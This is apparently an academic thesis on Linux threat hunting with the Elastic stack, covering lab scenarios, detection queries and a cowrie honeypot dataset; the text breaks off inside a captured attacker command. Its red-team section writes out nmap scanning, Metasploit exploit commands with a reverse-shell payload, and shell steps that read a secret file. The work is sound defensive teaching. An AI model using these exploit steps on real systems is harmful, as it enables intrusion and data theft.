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1. Introduction 
Cybersecurity is an industry with the collective objective to make the digital 
infrastructure that supports the world as robust and secure and possible.  
One relatively recent development in this space has been the efforts to share data 
about attacks and malware in ways that are easy to share and analyses. This thesis will, 
hopefully, help the cybersecurity community in this endeavour.  
Some projects have open datasets with documented threat hunting analysis. 
However, there is no project with a focus on the Linux platform. Therefore, this thesis is 
state of the art in the Linux space at the time of its writing. 
 
1.1. Statement of work 
The objectives of this project are:  
• Analyse the current state of the art for the Elastic stack project in regard 
to its use for security analysis.  
• Build a laboratory with both a functioning Elastic stack and live 
endpoints to demonstrate current capabilities within different scenarios.  
• The following scenarios are covered, then analysed with a threat hunting 
methodology: 
• An Ubuntu Server, running vulnerable service compromised using an 
exploit  
• A honeypot, to collect malware sample of crypto miners 
• A simulated corporate network, being infected by a crypto-miner worm  
 
1.2. Thesis’ structure 
The chapter structure of this thesis is the following:  
• Introduction: This chapter contains a description of the state of the art for 
Q4 2019 and the methodology. 
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• Elastic Stack: This chapter contains an introduction to the Elastic stack 
and its components.   
• Scenarios laboratory: This chapter contains 2 attack experiments and one 
data source from a honeypot. 
• Final Conclusions: This chapter contains the summary and results of this 
project.   
• The annexe contains the following chapters: 
• Architecture of the laboratory: This chapter has a guide for the 
installation process of the laboratory. This laboratory replicates an Elastic 
deployment and a client machine.  
• Import / Export scenarios: This chapter contains how to import/export the 
datasets generated in the threat simulation experiments  
 
2. Methodology 
We analyse the current state of the art for the Elastic stack project in regard to its 
use for security analysis. This analysis provides the context for the practical part of this 
work.  
We built a laboratory with both a functioning Elastic stack and live endpoints. 
The experiments describe how to replicate the scenario and include the raw data to 
download.  
In the different scenarios, we explain which data to use, how to replicate the 
attacks, and how to analyse a malware piece. 
Each scenario has an explanation of how to use the Elastic stack to analyse these 
incidents. We use a methodology based on the mitre att&ck classification. With which 
we use to contextualize the attacker and the defender perspective. 
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3. State of the art 
3.1. SIEM space 
Gartner1  list 43 products belonging in the SIEM space. Some of the names on 
that list are Splunk, LogRhythm, McAfee ESM, QRadar and the Elastic stack that we 
are using. 
 
The SIEM space covers several components that are integral to running an 
effective Security Operation. It manages the ingestion, normalization, correlation and 
alerting of security alerts.  
State of the art right now would be solutions like Splunk, that have an easy to use 
ingestion capability and an active community. But during the last quarter of 2019, the 
Elastic Stack has implemented or announced 2 improvements that have placed them in 
an exciting position in the market.  
• The SIEM component: This Kibana feature integrates alerting, anomaly 
detection2 and machine learning jobs that help uncover anomalous behaviour.  
• Endgame integration: The EDR tool from Endgame 3  integrated with the 
Elastic Stack.  
However, this thesis will propose a process to investigate datasets of attacks and 
learn and share threat hunting investigations.  
 
However, this thesis proposes a process to investigate the datasets of attacks and 
learn and share threat hunting investigations.  
 
In this space, it is essential to have a robust collection of logs. If we focus on 
open source products, the agents (Auditbeat and Packetbeat especially) in the Elastic 
Stack are state of the art, alongside Osquery, as they have the flexibility and potential to 
be used to generate security-relevant logs4 to be ingested in an analytics platform.  
 
1 https://www.gartner.com/reviews/market/security-information-event-management  
2 https://www.elastic.co/products/siem and https://www.elastic.co/webinars/introducing-elastic-siem  
3 https://www.elastic.co/blog/endgame-joins-forces-with-elastic  
4https://www.elastic.co/webinars/detecting-threats-on-linux-hosts-with-auditbeat and https://www.elastic.co/webinars/endpoint-security-analytics-
with-windows-event-logs   
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The Elastic Stack is a platform that is easy to deploy and open source. Making it 
the perfect candidate to build on-demand personal environments to analyse security 
events. Splunk can be accessed which a trial, but it lacks the flexibility of being able to 
be deployed in a docker environment on an open-source license. 
  
The following projects are currently state of the art in terms of SIEM-like 
deployments for single user laboratories. They all based on the Elastic Stack. 
 
• HELK5 
• SOF-ELK6 
 
3.2.  Analysis of Security in ELK 
This chapter is concerned with the ecosystem of dashboards, visualizations and 
searches that the Elastic community generates in regard to the Security space.  
A key point in security analysis is to be able to talk a common language to be 
able to share detection and build a correlation between log sources. The Elastic stack 
solves this problem with the Elastic Common Schema, ECS7. A dictionary for fields to 
standardize fields like source IPs, domains and file hashes.  
ECS has made it easy to share detections and investigations to detect attackers. 
Elastic has released Dashboards and visualizations to help make use of the Beats. All 
the agents used in this project, including Osquery, have out of the box 
visualizations/dashboards8.  
Moreover, there are community-led projects with detections, dashboards and 
visualizations. For this project, we use the Adama9 repository, which contains a lot of 
Elastic Common Schema searches.   
There is also the Sigma10  project. This open-source project is an open ruleset 
that translates into several SIEM formats. It's effortless to translate into searches and 
 
5https://github.com/Cyb3rWard0g/HELK   
6 https://github.com/philhagen/sof-elk  
7 https://www.elastic.co/webinars/introducing-the-elastic-common-schema  
8 https://www.elastic.co/guide/en/beats/packetbeat/current/view-kibana-dashboards.html, https://www.elastic.co/guide/en/beats/auditbeat/current/view-
kibana-dashboards.html and https://www.elastic.co/guide/en/beats/filebeat/current/view-kibana-dashboards.html  
9 https://github.com/randomuserid/Adama   
10 https://github.com/Neo23x0/sigma   
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alerts for Watcher11 (the alerting component of the Elastic stack) or ElastAlert12 (an 
open-source project to alert on Elasticsearch queries) 
The company SocPRIME13 offers paid community security rulesets that translate 
into all the major SIEM appliances, including the Elastic stack.  
The following projects have visualizations, dashboards and other objects for 
threat hunting. But their focus is forensics.  
 
• Kibana_ForensicDashboards14  
• HELK15 
• SOF-ELK16 
 
A special mention is an open-source repository for threat hunting queries, 
dashboards and playbooks for the proprietary SIEM from Microsoft, Azure Sentinel. 
This repository is the host of exciting articles in which they propose methodologies for 
analysis based on the Mitre att&ck matrix. They are focused on Windows and cloud 
infrastructures 
 
3.3. Dataset/Threat Hunting Labs in ELK 
The space for automated security testing has several projects. All to help the blue 
team17 build alerts and processes to check the security of an organization continuously.  
Security operations need to test their detections against a realistic adversary, 
without it being the actual adversary. The community has named this Red teaming18; 
and the combination of testing attack patterns in conjunction to detection creation is 
named Purple teaming19.  
In this space the following open source projects are commonly used:  
 
11https://www.elastic.co/guide/en/kibana/current/watcher-ui.html   
12https://elastalert.readthedocs.io/en/latest/   
13https://socprime.com/en/news/ecs-premium-log-source-pack-is-released/   
14https://github.com/aarju/Kibana_ForensicDashboards   
15https://github.com/Cyb3rWard0g/HELK   
16 https://github.com/philhagen/sof-elk  
17https://en.wikipedia.org/wiki/Blue_team_(computer_security)    
18https://www.redteamsecure.com/blog/what-is-red-teaming-and-why-do-i-need-it-2/   
19https://www.redscan.com/news/purple-teaming-can-strengthen-cyber-security/     
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• EQL Analytics Library20 
• Caldera21  
• Atomic Red team22  
• DetectionLab23  
• Cloudgoat24 
  
These projects strive to simulate adversaries with automated tools. The 
automated generation of security events makes the creation of laboratory environments 
accessible. Security operations use these tools to refine their processes and detection.  
In this thesis, we create a series of datasets to help analysts that are building the 
maturity of their security operations and their skillset to be capable of quickly analyse 
security incidents.  
In this regard, some projects created datasets with attacks. They are state of the 
art in terms of open-source datasets. The most relevant are the following ones:  
 
• Splunk "Boss of the SOC"25 contests. These datasets are complete and are in 
JSON format. Therefore, they can be uploaded into the Elastic Stack, but their 
structure doesn't follow the Elastic Common Schema out of the box. Therefore, 
data manipulation is necessary.   
• Brawl dataset 26  by Mitre. This dataset is comprehensive and is especially 
suitable to follow the Mitre att&ck methodology. It is compatible with the 
Elastic Stack.  
• The Mordor dataset27 by the Hunters forge28. Alongside the dataset, the "Hunters 
forge"29 has published several detections with a consistent methodology. 
 
Hunters forge is state of the art in this thesis' space. However, our project focuses 
on Linux, while Hunters forge has a Windows focus.  
 
20https://eqllib.readthedocs.io/en/latest/analytics.html   
21https://github.com/mitre/caldera   
22https://github.com/redcanaryco/atomic-red-team   
23 https://github.com/clong/DetectionLab  
24 https://github.com/RhinoSecurityLabs/cloudgoat  
25https://www.splunk.com/en_us/blog/security/boss-of-the-soc-scoring-server-questions-and-answers-and-dataset-open-sourced-and-ready-for-
download.html and https://github.com/splunk/botsv2   
26 https://github.com/mitre/brawl-public-game-001   
27 https://github.com/hunters-forge/mordor  
28 https://medium.com/threat-hunters-forge   
29 https://github.com/hunters-forge/ThreatHunter-Playbook   
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4. Elastic Stack 
The Elastic Stack is the name of the components offered by the Elastic Company as 
their core offering.  
The products are: Kibana, Elasticsearch, Logstash and the beats agents. This 
software product can be used to collect information, events and logs from computers, 
parse, aggregate, enrich, query and analyze them at scale. The stack has an open source 
version and a vibrant community. In 2018 and 2019 the Elastic company has invested 
resources in improving the platform to solve the data analysis challenges that is facing 
the Cybersecurity industry.  
 
4.1. Beats 
Beats are agents that can be installed in your systems to ship data to the Elastic 
Stack. There is a vibrant community of open source beats but the main ones offered by 
Elastic are the following.  
 
Table 1: List of beats agents 
Type of data Beat 
Audit data Auditbeat30 
Log files Filebeat31 
Cloud data Functionbeat32 
Availability Heartbeat33 
Systemd journals Journalbeat34 
Metrics Metricbeat35  
Network traffic Packetbeat36 
Windows event logs Winlogbeat37 
 
 
30https://www.elastic.co/products/beats/auditbeat  
31 https://www.elastic.co/products/beats/filebeat 
32 https://www.elastic.co/products/beats/functionbeat 
33 https://www.elastic.co/products/beats/heartbeat  
34 https://www.elastic.co/downloads/beats/journalbeat 
35 https://www.elastic.co/products/beats/metricbeat 
36 https://www.elastic.co/products/beats/packetbeat  
37 https://www.elastic.co/products/beats/winlogbeat 
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The data collected by the agents can then be send to Elasticsearch directly or 
Logstash.   
Image 1 indicates the flow of information started by the Beats38. 
 
Image 1: Example architecture of the Elastic Stack by Elastic 
 
The agents that will be used in this projets are:  
 
1. Auditbeat39 This agent collects logs directly from the Linux and Unix Kernel. 
Using the auditd daemon. Can be easily expanded with rules and it provides 
highly valuable information in a security context.  
2. Packetbeat40: This agent collects network data reading directly from the tcp 
stack in the machine. The raw network connection is analyzed by the agent 
based on protocol and turned into an event log.  
3. Filebeat41: This agent is very versatile. It will read a file, line by line and send 
the contents as log events. In this project we will add Osquery42 with the default 
configuration in Linux and use filebeat to only send the logs related to this 
application.    
  
 
38https://www.elastic.co/guide/en/beats/libbeat/current/beats-reference.html  
39 https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-overview.html 
40 https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html  
41 https://www.elastic.co/guide/en/beats/filebeat/7.4/filebeat-overview.html 
42 https://osquery.io/  
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4.2. Logstash 
Logstash is the component in the Elastic Stack that is specialized in receiving 
logs from multiple sources, queueing them, parsing and enriching the logs before 
sending them to Elasticsearch.  
For this project, Logstash will be used but it’s not an integral component for this 
methodology. Because the beats agents have basic parsing capabilities that can be used 
properly format the log events and send them directly to Elasticsearch. For the 
experiments shown in this work, Logstash is just used to aggregate the logs from 
different sources.  
 
4.3. Elasticsearch 
Elasticsearch43 is the central piece of the Elastic stack. It’s a noSQL database that 
can be used to perform fast queries to structured data. Security analytics requires 
responsive queries and the ability to rapidly analyze information surrounded a data 
point.  
This a very important part to set correctly as this will impact the performance of 
the investigations. But how to properly configure an Elasticsearch instance falls outside 
of the scope of this project.  
 
4.4. Kibana 
Kibana44 is the component in the Elastic stack that is used for visualizing and 
querying the data in Elasticsearch in a simple manner. Kibana has been improved in the 
last years with more features for visualizing information and there are new features that 
are used for security event analysis.  
The core components that can be used for security analysis are the following: 
1. Discovery45: This component is a search function that will return all the event 
logs that match a query.  
2. Dashboards46: This component is a group of visualizations that will represent the 
events within a visually rich environment.  
 
43 https://www.elastic.co/guide/en/elasticsearch/reference/current/elasticsearch-intro.html 
44 https://www.elastic.co/guide/en/kibana/current/introduction.html  
45https://www.elastic.co/guide/en/kibana/current/discover.html  
46 https://www.elastic.co/guide/en/kibana/current/dashboard.html  
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3. SIEM47: This component has domain specific visualizations and queries that are 
related to security analytics. It also includes a timeline tool that gives analysts 
the chance to write a story using the data shown in the SIEM component.   
4. Machine Learning48: This component is a series of machine learning algorithms 
that can be used easily with the data inside Elasticsearch. There are some 
security specific algorithms to find anomalies in datasets. 
5. Graph49: This component can be used to build graph relations between objects 
inside the same index.   
6. Watcher50: This component manages alerts in the Elastic stack. These alerts can 
be defined based on queries on the datasets in Elasticsearch. 
 
5. Scenarios Laboratory 
5.1. Introduction 
The scenarios are the primary purpose of this thesis.  
We describe how to attack a target, collect malware data and then track malware 
on a purposely build environment.  
The analysis of attacks has 4 steps.  
• Introduction: Details of the scenario and how to collect the dataset for 
replicating the experiment.  
• Preparation: How to create the scenario and which components are needed.  
• Red Team actions/malware actions: An explanation of the scenario from the 
perspective of the attacker.  
• Blue team Analysis: A description of techniques to detect the attack using the 
data acquired and other features from the Elastic stack.  
 
5.2. Summary of datasets 
The current scenarios analysed have created the following datasets.   
 
 
47 https://www.elastic.co/guide/en/kibana/current/xpack-siem.html 
48https://www.elastic.co/what-is/elasticsearch-machine-learning  
49 https://www.elastic.co/what-is/elasticsearch-graph 
50https://www.elastic.co/what-is/elasticsearch-alerting  
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Table 2: Summary of scenarios 
Environment Collector Edition Query Description Time 
metasploit_vulnerable 
_1_server 
Linux_Basic_1_
0_0 
agent.hostna
me:cortex 
This dataset 
contains the 
Packetbeat and 
Auditbeat for 
this particular 
scenario. The 
events took 
place on the 
2019-11-05  
Start: Nov 5 
2019 09:00:00 
UTC 
End: Nov 5 2019 
12:30:00 UTC 
cowrie_dataset_1 Filebeat_cowriec
_1_0_0 
_index:filebe
at-cowrie* 
This dataset 
tracks the logs 
generated by 
the cowrie 
service on a 
single cloud 
instance. 
Start: Oct 10 
2019 09:00:00 
UTC 
End: Nov 25 
2019 12:30:00 
UTC 
shellbot_dataset Linux_Basic_1_
0_0 
_index:*shell
bot* 
Contains the 
logs from 3 
machines that 
are involved in 
a Shellbot 
infection. 
Start: Nov 5 
2019 09:00:00 
UTC 
End: Nov 5 2019 
12:30:00 UTC 
 
 
5.3. Mitre att&ck analysis 
Mitre corporation is an organization that has created and released to the open-
source community a significant amount of security processes and taxonomies that can 
be used by the community to build standards.  
One of these projects is the ATT&CK51 taxonomy.  
This standard is a matrix in which you can map the tactics techniques and 
procedures of threat actors and malware.  
We use the stages and identification of the techniques for both the red team 
actions and blue team analysis.  
This approach is becoming the standard in the industry to share information 
related to intrusion detection. It gives a standard framework into which to organize the 
actions and detections produced.  
 
51 https://attack.mitre.org/  
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The following is an example table. Detections contain the identifier given to the 
technique, and the log sources are the index and specific search.  
 
Table 3: Example of TTP analysis 
Att&ck Stage Detections Log sources 
Mitre 
technique 
Reconnaissance Scanner Detection. 
Scanner user agent 
(nmap) 
Packetbeat 
(event.action:network_flow) 
T1254 
Intrusion/Exploitation Vulnerability. Errors in 
applications 
Auditbeat T1190 
Exfiltration Exfil. Important files 
being accessed by an 
unknown process. 
Auditbeat T1005 
 
This table is to guide the classification of saved objects. This project includes a 
file with saved objects that can be exported to the laboratory environment to have a 
series of visualizations and searches to guide the exploration of the datasets.  
The searches and visualization are in the GitHub repository related to this thesis.  
 
6. Ubuntu server scenario 
6.1. Introduction 
This scenario involves the following components:   
• Ubuntu 18.04 server 
• Auditbeat and Packetbeat collection 
• Custom auditd rules 
• Rule to monitor a folder 
• Vulnerable service  
• Metasploit and meterpreter shell 
• nmap 
This scenario simulates an attacker scanning a server and exploiting a 
vulnerability to start a shell in said server. Afterwards, the actions performed by this 
attacker. Which are to search for their objective and exfiltrating it.  
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6.2. Dataset used 
The target server contains the package of collectors explained in this work. The 
data is in the "metasploit_vulnerable_1_server" scenario.  
 
Table 4: Metasploit_vulnerable_1_server dataset description 
Environment Collector Edition Query Description Time 
metasploit_ 
vulnerable_ 
1_server 
Linux_Basic_1_0_0 Agent 
.hostname:cortex 
This dataset 
contains the 
Packetbeat and 
Auditbeat for this 
particular 
scenario. The 
events took place 
on the 2019-11-05  
Start: Nov 5 
2019 
09:00:00 
UTC 
End: 
Nov 5 2019 
12:30:00 
UTC 
 
 
6.3. Preparation 
For this scenario we will use the Metasploit vulnerability emulator 52  and 
simulate the vulnerability "ms01_023_printer". The commands to perform this are the 
following:  
 
Code 1: Metasploit Vulnerability Emulator 
trok@cortex:/Github/vulnerable_Emulator/metasploit-vulnerability-
emulators sudo perl vulemu.pl  
>>activate exploits/windows/iis/ms01_023_printer 
listening on port 80  
>>>>can't find a match for request GET/ HTTP/1.1  
Host: localhost  
User-Agent: curl/7.47.0  
Accept: */* 
of size 73 metepreter is connected 10:: Socket:: INET=GLOB 
(0x159df38), sending: not foundt with simple session  
cat: ../../../Burgers/secrets.txt: No such file or directory  
mv: cannot stat 'signature': No such file or directory 
 
52https://github.com/opsxcq/metasploit-vulnerability-emulator  
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This service listens to port 80 and simulate the vulnerable component that can be 
exploited by the Metasploit module in "exploits/windows/iis/ms01_023_printer". Once 
exploited, the attacker gains access to the service process. In this case, this gives root 
access to the system running the service.  
The attacker's objective is to steal a file called "secrets.txt" inside a folder called 
"Burgers". To be able to inspect with detail all the read/write activities on this folder, 
we wrote the following rule inside the auditbeat.yml file.  
 
Code 2: Auditd Write/Access/Read for Burgers folder 
-Module: auditd 
audit_rules: 
-w /home/trok -p war -k Burgers 
 
This rule created a log event every time a process Writes/Access/Reads anything 
in the Burgers folder.  
Otherwise, the Packetbeat and Auditbeat configuration are the examples used in 
this document.   
 
6.4. Red Team actions 
In this chapter, we explain the steps the attacker took to reach their objectives.  
The attacker didn't do all the cyber kill chain steps, as this is a simplified 
example.  
The steps in this scenario are the following:  
Reconnaissance > Intrusion/Exploitation > Exfiltration 
 
6.4.1 Reconnaissance  
In this step, the attacker uses nmap to scan the server and identify any vulnerable 
ports.   
Code 3: Nmap execution 
trokair@SATELLITE:~$ nmap -A cortex.local 
 
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-17 11:42 GMT 
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In the resulting report, the user should see open ports and then an analysis of the 
service can show which vulnerabilities (if any) are exploitable. In this case, the 
simulated vulnerability is an IIS vulnerability with ID: CVE-2001-0241 
 
6.4.2 Intrusion/Exploitation 
Once the attacker has identified a vulnerable application in port 80. They use 
Meterpreter53  to exploit the vulnerability and start a reverse shell from the port 4444.  
In this case, the attacker uses Metasploit inside docker.  
The commands to exploit the vulnerability are the following:  
 
Code 4: Meterpreter actions - Exploitation 
msf > use exploit/windows/iis/ms01_023_printer  
msf exploit(windows/tis/ms01_023_printer) > set payload 
generic/shell_reverse_tcp  
payload => generic/shell_reverse_tcp  
msf exploit(windows/iis/ms01_023_printer) > setg RHOST 127.0.0.1  
RHOST => 127.0.0.1  
msf exploit(windows/tis/ms01_023_printer) > setg LHOST 127.0.0.1  
LHOST => 127.0.0.1  
msf exploit(windows/iis/m501_023_printer) > run 
 
[!] You are binding to a loopback address by setting LHOST to 
127.0.0. 1. Did you want ReverselistenerBindAddress?  
[*] Started reverse TCP handler on 127.0.0.1:4444 
 
Through the exploit, a shell spawns in the target system.   
  
 
53 https://hub.docker.com/r/phocean/msf/ 
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6.4.3 Exfiltration 
Once in the system, the attacker wants to find and exfiltrate the "secrets.txt" file.  
For this they just need to search in the file system with "ls, grep". Once they find 
the file and read the secrets, their mission is complete, and they leave a signature to 
demonstrate that the mission has been successful.  
 
Code 5: Meterpreter actions - Exfiltration 
[View inside the shell] 
>>ls ../../../Burgers  
secret.txt  
>>ls ../../../Burgers  
secret.txt  
>>cat ../../../Burgers/secrets.txt  
>>cat ../../../Burgers/*  
flag{T4rg3t_h4s_b33n_br34ch3d}  
>>echo "The Burger robber has been here. MUAHAHA"  
> signature.txt  
>>mv signature ../../../Burgers/Signature.txt  
>>mv signature.txt ../../../Burgers/signature.txt 
 
The secret is "flag{T4rg3t_h4s_b33n_br34ch3d}". Now that the attacker knows 
the secret, their mission is over. 
  
6.5. Blue Team Analysis  
The blue team has several objectives.  
Identify that an attack is taking place, confirm that malicious activity is taking 
place and build a timeline of events to uncover all the actions an attacker has performed.  
In the following table, we can see which logs we have to identify the different 
stages of the attack.  
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Table 5: TTP Analysis Meterpreter 
Att&ck Stage Detections Log sources 
Mitre 
technique 
Reconnaissance Scanner Detection. 
Scanner user agent 
(nmap) 
Packetbeat 
(event.action:network_flow) 
T1254 
Reconnaissance Scanner Detection. High 
volume of ports accessed 
Packetbeat 
(event.action:network_flow) 
T1254 
 
Reconnaissance Scanner Detection. Failed 
access to closed ports 
Packetbeat 
(event.action:network_flow) 
T1254 
 
Initial Access Vulnerability. Errors in 
applications 
Auditbeat T1190 
Execution Shell Detection. 
Commands spawned from 
service 
Auditbeat T1059 
 
Execution Shell Detection. 
Command and Control 
beacon 
Auditbeat T1065 
Exfiltration Exfil. Unknown process 
accessing important files   
Auditbeat T1005 
 
6.5.1 Scanner Detection. Scanner user agent (nmap) 
 
The default configuration in web scanners doesn't tend to hide the identity of the 
program actively. For nmap, we can see the user agent by default contains the string 
"nmap". We can use this simple string search to create a detection. 
 
 
Image 2: Nmap detection   
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Advanced attackers don't often rely on unconfigured tools. But there are lots of 
attackers who are.  
Having alerts for commonly used Open Source scanners is an excellent high-
fidelity alert. There are lists54 of commonly used user agent names for scanners.  
 
6.5.2 Scanner Detection. High volume of ports 
accessed 
 
We can build detections for scanner-like activity. This kind of rules are easy to 
implement. A search with aggregation based on unique elements, in this case 
destination port, can get a list of source IPs that are trying to access a high number of 
unique ports.  
We can see in this example, how 172.17.0.6 has several unique destination ports, 
more than 200 times the average for all the other source IPs.  
 
 
Image 3: Port analysis based on source IP 
 
Outliers for these aggregations should be considered suspicious.  
Take into consideration that public-facing servers receive a constant amount of 
scanning from the internet. But internal servers should not receive this kind of traffic at 
all.  
We can then investigate more about the flagged IP. 
If we search the traffic in the Discover view, we can see a definite spike in traffic.  
 
54 https://github.com/fastly/waf_testbed/blob/master/templates/default/scanners-user-agents.data.erb 
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Image 4: Date histogram of network activity 
 
If we then filter by the IP 172.17.0.6 we can see it's the culprit for this spike.   
 
 
Image 5: Malicious source IP search 
 
We can also see that the IP is trying a massive range of IPs in a short amount of 
time. There may be legitimate reasons for this. But more investigation on the accessed 
services and what is behind this IP is justified.  
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6.5.3 Scanner Detection. Failed access to closed 
ports 
 
We can also see if there is a source IP appearing in a search that shows ports not 
accessed by any other service. In this case, we are doing an ascending order search for 
the unique count of source.ip based on destination ports.  
 
 
Image 6:  Visualization of port  activity 
 
Then again, we can find the IP 172.17.0.6 appearing as suspect. On a more 
vibrant network, all ports used for services may be accessed by more than one IP. This 
rule, however, may also catch services that only talk to each other. When we identify a 
legitimate case, we recommend just removing the source IP from the search once.  
 
6.5.4 Vulnerability. Errors in applications 
 
The logging system fails when it tries to read a badly encoded string. Not all bad 
strings are related to exploits. But most exploits contain weird characters. This kind of 
search is very dependent on your environment and applications running in it. But it's 
worth filtering errors from processing that appear commonly or have a search for 
uncommon ones.  
In the following case, we are searching for an error, and we can see Packetbeat 
failed when it tried to analyse an HTTP package.  
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Image 7: Errors in parsing of network data 
 
On closer examination, we can see this parameter executed after a scanner (not 
during the scanning). Activity like this may indicate an exploit. We should identify the 
service related to this alert and the HTTP server that may have been receiving this 
traffic and review if any other Indicator of Compromised is present. 
 
Image 8: Trace of exploit data  
 
6.5.5 Shell Detection. Commands spawned from 
service 
 
We can review alerts that contain strings like "sh -c" or commands spawned 
from an unexpected service. This detection requires a massive baselining first, but it can 
be an early indicator of an exploited process.  
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In this case, we can see that from the "metasploit-vulnerability-emulator" 
environment. From the folder, we are running the "perl vulEmu.pl" command we have 
also spawned a "sh -c " and then a memory position.  
This command is a possible indicator for the execution of a shell. Using that 
command to execute shellcode is a common practice as you can see in the "smashing 
the stack"55 paper.  
 
Image 9:  Process spawn caused by exploit 
 
If we search for process executable for the "perl vulEmu.pl" we can see it's 
trying to use ls.   
 
 
Image 10: Process spawn by vulEm 
 
Also using the graph feature, we can tie processes by children and parent I,. and 
then tie them to commands. 
  
  
 
55 https://www.win.tue.nl/~aeb/linux/hh/hh-10.html 
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Image 11: Graph analysis of  process execution 
 
This view filters all the associations that didn't seem relevant. But it paints a 
clear picture of the commands executed by the shell.  
 
6.5.6 Shell Detection. Command and Control beacon 
 
There is much literature on beacon detection for Command and control 
connections.  
Command and control connections are not like most internet traffic. Most 
internet traffic tries to move as soon as possible, and therefore, it spikes and shortly 
after that goes silent. If you want an interactive shell, you require a connection that has a 
heartbeat, so you know it's still alive. Simple shells like Meterpreter have very 
predictable traffic.  
We can use the machine learning feature in SIEM to discover beacon activity, 
but a lot more data is needed that the one related to this exercise.  
Nevertheless, it's enough to filter long-lived traffic Netflow by the destination 
port, and then a weird pattern appears.  
In this case, we can deduce that the port 4444 in the hacker machine receives the 
traffic from the interactive shell.    
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Image 12: Beacon connection for meterpreter 
 
Baseline how common shells operate. If no configuration is applied is possible to 
fingerprint the traffic patterns56 in a reliable way. 
 
6.5.7 Exfil. Important files being accessed by an 
unknown process. 
 
One of the hardest parts of the investigation is answering the question "Has the 
data left the organization?" 
We know that a shell is in the system and that it is sending information to a 
remote system, thanks to the rule implemented in auditd to monitor all file activity 
inside the Burgers folder. We have very high definition information about the 
commands and specific action done to essential files.  
From the Discover view, if we filter for the vulnerable service. And then we can 
reconstruct what the attacker did when it accessed the monitored folder.  
 
 
Image 13: Meterpreter post exploitation actions  
 
56 https://www.sans.org/reading-room/whitepapers/forensics/analysis-meterpreter-post-exploitation-35537 
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• They listed the contents of the folder with "ls" 
• They read the contents of all files in Burgers with "cat". 
• The attacker wrote a new signature, and then it seems the activity stopped  
 
This level of visibility is rare because it is very noisy. But we can build detection 
based on how common a is process touching that folder. The "perl vulEmu.pl" never 
before was involved with the target folder until that moment. We can use this alert in 
other relevant files like "/etc/password" and trigger an alert when a new service name 
reads the file. 
 
6.6. Conclusion 
This scenario is quite simple from an attacker point of view. But at the same time, 
it can become very complicated for a defender to identify.  
In an external-facing server, the profiling of services is critical because alerts can 
be set to any activity that deviates from there and can be an Indicator of Compromise.  
On an internal server, network data can be instrumental. Attackers need to 
analyse the environment. And although they try not to be noisy, sometimes it is 
necessary to analyse targets actively, which can be an early indicator of a network 
breach — therefore initiating a hunt for the source of anomalous activity.  
With dashboards and visualizations, you can analyse in a glimpse, and jump 
between searches with ease, to build a timeline of events.  
 
7. Ubuntu Honeypot server scenario 
7.1. Introduction 
The cowrie honeypot is in a Digitalocean droplet. The objective is to showcase 
attacks against ssh. This dataset contains "noise of the internet" regarding attacks 
against all machines exposed to the internet.  
This honeypot captures not only an attacker trying to log in. It also captures the 
actions it's trying to perform once it's in the machine. This command can be extracted 
and then used as an indicator of compromises on servers in which these commands are 
rare.  
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Moreover, with this approach, we can use Elasticsearch to receive a list of IP that 
are actively trying to attack servers on the internet and block them.  
 
7.1.1 Objective 
The objective is to find samples of malware distributed in the wild. Mainly we 
need to find a crypto miner targeting Linux machines. The sample is needed for the 
"Ubuntu Cryptominer server scenario".  
Once the setup is working and sending the data to an ELK instance, we can use 
the data to generate Threat Intelligence. 
 
7.1.2 Dataset used 
 
Table 6: Filebeat_cowriec_1_0 dataset description 
Environment Collector Edition Query Description Time 
cowrie_dataset_1 Filebeat_cowriec_1_0_0 _index:filebeat-
cowrie* 
This tracks 
the logs 
generated by 
the cowrie 
service on a 
single cloud 
instance.  
Start: Oct 
10 2019 
09:00:00 
UTC 
End: Nov 
25 2019 
12:30:00 
UTC 
 
7.2. Information collected 
We use Filebeat to collect the information from the cowrie service57.  
Cowrie ssh honeypot collects the following types of events. We use these events 
to analyse the malware or threat actors trying to infect through ssh.  
  
 
57 https://cowrie.readthedocs.io/en/latest/elk/README.html#how-to-process-cowrie-output-in-an-elk-stack  
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Table 7:  Events captured by cowrie honeypot 
Events Count 2 weeks Description 
cowrie.direct-tcpip.request 21,562 Request to ip 
cowrie.session.connect 18,093 New ssh is initiated.  
cowrie.session.closed 18,074 Ssh connection is being closed 
cowrie.login.success 15,840 Ssh credentials accepted 
cowrie.client.version 
14,921 
Information about the ssh 
client connected 
cowrie.client.kex 
14,911 
Ssh key being used by the 
client 
cowrie.direct-tcpip.data 
7,496 
Request to ip to download 
data 
cowrie.command.input 
5,595 
Command inputted by ssh 
client and recognized by 
cowrie 
cowrie.session.params 3,575 Ssh session paraments 
cowrie.command.failed 
1,228 
Command inputted by ssh 
client but not recognized by 
cowrie 
cowrie.session.file_download 457 File downloaded to honeypot 
cowrie.session.file_download.failed 
118 
File failed to be download to 
honeypot 
cowrie.session.file_upload 95 File uploaded to honeypot 
 
7.3. Threat Intelligence 
With the information collected by the honeypot, we can enrich, correlate and 
generate threat intelligence. We analyse threat actors and build blacklists with the data.  
Kibana can be used to generate graph-based visualizations about malicious 
activity. In this case, we can see how most of the IPs are only doing 1 type of action 
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against our honeypot. But there is a small number of IPs that have a more diverse range 
of actions. These IPs, therefore, seem more likely to contain more advanced behaviour.  
 
 
Image 14: SSH scanners with  actions 
 
7.3.1 Hash 
The honeypot captures the sha1 hash of downloaded files through a web request 
and pushed files using the ssh protocol.  
We can easily cross-check the hashes on services like Virustotal.  
For example, the following hash 
 
Image 15: AV triggers for honeypot captured file 
 
We can then use Virustotal to pivot and acquire more information about this 
threat. But it gives a simple indication that the file is malicious. 
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7.3.2 Network artifacts 
The honeypot captures the source IP of anything that tries to access the ssh port. 
It also captures the domains and URLs that the malware tries to download or request 
once it has gained access to a server.  
The information collected can be correlated with categorization lists, reputation 
lists, nslookup and a myriad of sources of information to analyse which kind of 
connection it has with attackers.  
Not all network artefacts are malicious, but through fingerprinting, we can 
identify unique network artefacts of this threat actor and map all their infrastructure. 
Then it can be blacklisted or monitored closely. 
 
7.3.3 Tactics techniques and procedures  
Based on the commands utilized by the malware, we can identify Tactics 
Techniques and Procedures (TTP) being utilized by malware in the wild. This kind of 
artefact correlates to the specific actions and tooling used by a threat actor. 
 
Code 6: Captured command input event 
     "json": { 
      "eventid": "cowrie.command.input", 
      "session": "0fd90130d0e8", 
      "src_ip": "51.38.33.178", 
      "timestamp": "2019-10-20T06:24:27.881174Z", 
      "input": "sleep 15s && cd /var/tmp; echo  
